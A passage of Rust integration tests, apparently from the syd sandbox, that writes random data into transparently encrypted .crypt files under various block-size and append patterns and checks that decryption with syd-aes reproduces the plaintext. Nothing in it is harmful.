    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {128..1}; do
    dd if=/dev/random bs=1024 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    test $t && printf >&2 "\r\033[K%s" "[*] count down from $i..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i writes done."
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 128 -1 1 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
    while read -r -d$'\n' i; do
        dd if=/dev/random bs=1 count=$i status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=2 count=7 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(64):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_tiny_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1 count=7 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2 count=7 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_nano_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(64):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_cmp_rand_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_aes_rand_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
wait
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_rand_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_rand_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
